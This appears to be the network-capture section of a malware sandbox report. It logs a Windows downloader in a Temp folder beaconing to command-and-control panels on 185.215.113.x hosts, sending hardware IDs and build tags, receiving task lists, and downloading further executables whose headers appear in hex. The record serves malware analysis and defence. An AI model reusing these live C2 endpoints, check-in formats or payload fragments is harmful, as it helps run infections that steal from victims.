Oct 24, 2024 04:01:48.071688890 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:01:47 GMT Content-Type: application/octet-stream Content-Length: 2742272 Last-Modified: Thu, 24 Oct 2024 01:44:44 GMT Connection: keep-alive ETag: "6719a68c-29d800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ %Z`Ui` @ @.rsrc`2@.idata 8@vxijesvo)x):@eoamyyhq )@.taggant@@")@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49895	185.215.113.37	80	7932	C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:01:53.128251076 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:01:54.038326979 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:53 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:01:54.042155981 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJECBKKECFIEBGCAKJK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HJJECBKKECFIEBGCAKJKContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------HJJECBKKECFIEBGCAKJKContent-Disposition: form-data; name="build"doma------HJJECBKKECFIEBGCAKJK--
Oct 24, 2024 04:01:54.327076912 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:01:54 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49911	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:01:55.810362101 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:01:56.710793018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:01:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49922	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:01:58.241178989 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:01:59.161901951 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:01:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 31 30 39 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 30 39 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 31 30 39 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 30 39 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1001090001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1001091001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1001092001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1001093001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49930	185.215.113.16	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:01:59.171066046 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 04:02:00.090524912 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:01:59 GMT Content-Type: application/octet-stream Content-Length: 3015168 Last-Modified: Thu, 24 Oct 2024 01:49:10 GMT Connection: keep-alive ETag: "6719a796-2e0200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 31 00 00 04 00 00 99 a1 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf1@1.@Wk ^@.rsrc n@.idata n@vzkjjrycp+j+p@glqpzueup1-@.taggant01"-@
Oct 24, 2024 04:02:00.090548038 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:00.090575933 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:00.090594053 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:00.090605974 CEST	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:00.090697050 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:00.090723991 CEST	1236	IN	Data Raw: 1a d0 94 13 a0 44 b8 21 99 07 ac 43 64 04 54 cd 98 05 36 b0 64 7a cd 3d a3 74 38 a1 e9 cb 72 43 35 79 09 2d d5 41 ca 94 3b 65 da 33 33 4f f7 e8 aa 9b ec 52 38 0b be 02 eb 22 78 e5 d8 94 cf 7d 4c d7 8a 37 87 43 a5 0f 81 54 95 b4 d3 be b7 08 fb 78 Data Ascii: D!CdT6dz=t8rC5y-A;e33OR8"x}L7CTxkUT8jy)y3>{R:?SXMz-Lx4icLW/{OVk2%X~'5sN3)-D+)t'4m#qE2_ p[
Oct 24, 2024 04:02:00.090739965 CEST	1236	IN	Data Raw: be 04 40 26 44 3a 94 14 b3 47 fc ae 8a 8c 78 a2 00 20 b8 4c e0 3f ab 9a df 71 ca 39 da 11 f3 02 27 00 83 f7 da a5 db e0 92 a9 38 72 9c 5f b0 c6 d6 5f 48 6c 9f b8 01 13 66 ba c0 54 1c 84 d0 09 34 8f 72 c2 42 a3 43 1f e8 d0 e4 79 dc e3 b9 d2 13 96 Data Ascii: @&D:Gx L?q9'8r__HlfT4rBCy/;{W]3O2czjo]yWq``cl<,WWY~iH=BwW@4NKX^`; y"S8Ev!t*Pbm=
Oct 24, 2024 04:02:00.090753078 CEST	1236	IN	Data Raw: 26 c1 b5 f2 3e 8e 95 df c0 5d 02 58 18 d7 fe 57 6d 49 08 a6 70 39 3a 3f f8 15 bf af e0 bd 9b 99 9d 07 23 3a 65 f8 ca b5 48 57 3b 2e b2 0b a9 eb 87 4e 7f e0 67 81 20 cb 87 20 ba 5a 7c d6 3c 57 4b 36 69 1a d1 fe ad f2 1f 01 61 2d 26 c1 d1 d4 90 4f Data Ascii: &>]XWmIp9:?#:eHW;.Ng Z\|<WK6ia-&O"BcCP^fu!XrhaKak$~9hh6wPcK()vqP@w/]gw(aXZp55yQ[^@&'vw:SRx:R_"EpE
Oct 24, 2024 04:02:00.090769053 CEST	848	IN	Data Raw: 8f 58 b3 31 22 c9 30 11 96 1f bd ee 70 c6 37 30 f4 f5 66 20 ea 63 70 a1 c4 b2 83 2e 99 15 ff ec be af 32 75 c8 97 66 d1 dc fb 55 dc 9f bb 9d e4 e2 3e f0 d0 56 6b c8 ea 63 ab 3f 06 0d 4a c9 27 67 b5 b1 ae 80 08 21 4b 20 b6 00 f7 d3 16 b4 57 53 9c Data Ascii: X1"0p70f cp.2ufU>Vkc?J'g!K WSLR`he~:Brp08X.x]Kl]k968l+&YBogl]iwGM[0e$Ch/V~:v";N+X?W=vIQJLhM(+
Oct 24, 2024 04:02:00.096061945 CEST	1236	IN	Data Raw: 92 86 72 a1 c4 dc 13 c9 bb e0 4e 55 f9 b9 89 df 4f 9f 53 83 68 bb 49 2f 78 2e 86 97 7c 08 41 95 d2 98 1b 52 68 f3 11 e6 dd fc 6b fe b9 b8 b7 6a a9 38 bf b0 d8 97 72 24 b9 c5 be 2f 8d 63 78 fb 4d 16 9b f9 ff 07 b9 a0 d2 00 d2 7d 30 dc 89 a8 13 01 Data Ascii: rNUOShI/x.\|ARhkj8r$/cxM}0>!1Ey#%`BIke41E-l0s`L-f(T18BwNiO\|W?z8E<TwR+</]=bT&lqe8r=H7D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49985	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:08.663927078 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 30 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001090001&unit=246122658369
Oct 24, 2024 04:02:09.591680050 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49990	185.215.113.16	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:09.602272987 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 04:02:10.499042988 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:10 GMT Content-Type: application/octet-stream Content-Length: 1918464 Last-Modified: Thu, 24 Oct 2024 01:49:16 GMT Connection: keep-alive ETag: "6719a79c-1d4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 90 6c 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6c 00 00 04 00 00 72 5c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$l@lr\@P%d% %(@.rsrc %8@.idata %8@ +%:@fzxkvimrQ<@ubuokytul @.taggant0l"$@
Oct 24, 2024 04:02:10.499057055 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:10.499150038 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:10.499171972 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:10.499183893 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:02:10.499197006 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: duo'5PC6l?Bp=RcVK>jV+ZpR[t3~?5Ue`?bNZ~cI'
Oct 24, 2024 04:02:10.499211073 CEST	1236	IN	Data Raw: 1b b2 94 83 bf d8 07 80 37 f0 4a fb 70 38 9c 68 9f f4 31 6e 6b 5e a1 19 1b 45 27 ee 26 44 e9 14 fb 01 36 87 04 e6 27 55 08 8f 42 34 7b f7 c2 43 33 c4 bb 49 6f 64 39 a4 04 6b f9 6b aa 72 bb 48 0b 84 fe 0d 2f 2b e7 14 e6 f9 7e 3a 2b a2 7a 93 cf 0f Data Ascii: 7Jp8h1nk^E'&D6'UB4{C3Iod9kkrH/+~:+zTgDalEE^-f.r]yo.j&g.8'u;vREJts:C:9l,oM;oX2+D]uzm*UrU"&#']$ y{> HFw
Oct 24, 2024 04:02:10.499222994 CEST	424	IN	Data Raw: 43 a6 9d 47 13 24 b2 35 cf 8f e2 52 ff a3 fd 04 c7 09 a6 2f e7 05 e4 16 0c e1 4a 3f 09 bd c8 2c 32 ed 51 2d 49 20 92 ce 8d 14 e7 f2 b6 56 52 68 0e 3f 76 e4 ac 22 a7 86 2f 44 49 ad 4e 86 53 49 cf 77 e7 26 3e 11 b4 ed 51 02 f4 73 e7 6f 49 bc b7 00 Data Ascii: CG$5R/J?,2Q-I VRh?v"/DINSIw&>QsoI+$5z}C;?w}~k,\TkjHT"gn^J,MRkg'uvx2DGV>K-j2A]FCVl-`N<%~Mnt/$
Oct 24, 2024 04:02:10.499278069 CEST	1236	IN	Data Raw: 27 7a a4 3e 8b 7d 6d 77 23 c5 e4 34 47 e0 af 66 2d a6 8e b6 ad f5 a5 92 77 7d 97 8e 1e cd 72 56 aa e8 a5 9e ae 7d 12 0e 9f ea 90 7a ae 69 d3 b6 07 7d 0a 42 78 16 b2 14 0a cb 7e 0e 16 b0 f2 58 7d b8 a5 27 99 84 a6 ea 87 21 52 2e d7 ee 4e a6 16 6c Data Ascii: 'z>}mw#4Gf-w}rV}zi}Bx~X}'!R.Nl#xRVB@y@$z$k42SFW?-lK.V}sV }$]N=2DGO2g6M@f#N`N=qtflUL $2%GE_0>
Oct 24, 2024 04:02:10.499288082 CEST	212	IN	Data Raw: d3 06 ac b6 80 7d 46 8e d1 80 d6 9e fb bc 17 1f ff 6c 73 88 56 60 2b 82 07 48 f8 12 be 4d 1a 1f b1 3f 84 fb 2f eb af 96 87 f7 53 ba d7 57 8e a7 16 28 be 7c 81 32 ce fc 27 04 af 44 7f 47 d7 8e 17 c6 d2 86 2d f4 a7 4e 13 18 1a e7 5f c4 af aa 8b 23 Data Ascii: }FlsV`+HM?/SW(\|2'DG-N_#"s}~Bj~4n+>7lxTKl}#8&j<u7V~-<2=-B)&j%h>-JH}?-J"Q8@ECc{lM
Oct 24, 2024 04:02:10.504549980 CEST	1236	IN	Data Raw: 27 ec af 44 93 75 5c 15 8a c0 13 8a b9 d4 17 1f b3 6c 67 88 f5 c5 3f 01 4b cb be 1f df 20 0e 74 53 f5 84 de 07 80 32 41 90 4a f6 63 ca 94 aa 1f 1e 4b 95 80 9d 20 15 53 1e 74 99 2e 27 7d f1 6b 28 3c af 3c 4f 26 af 56 1e 30 aa aa 47 c1 9a cc 6f 7d Data Ascii: 'Du\lg?K tS2AJcK St.'}k(<<O&V0Go}r_Xum>$4'DG-6=V6,M vU'LD3GV}b#>u0@4.\d)T%R'?u/'}>QU"G}>dw(tV_}H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49991	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:17.827410936 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 30 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001091001&unit=246122658369
Oct 24, 2024 04:02:18.746807098 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49992	185.215.113.37	80	4864	C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:18.393587112 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:02:19.317409992 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:02:19.321449995 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="build"doma------AAKJKJDGCGDBGDHIJKJE--
Oct 24, 2024 04:02:19.608481884 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49993	185.215.113.16	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:18.754643917 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
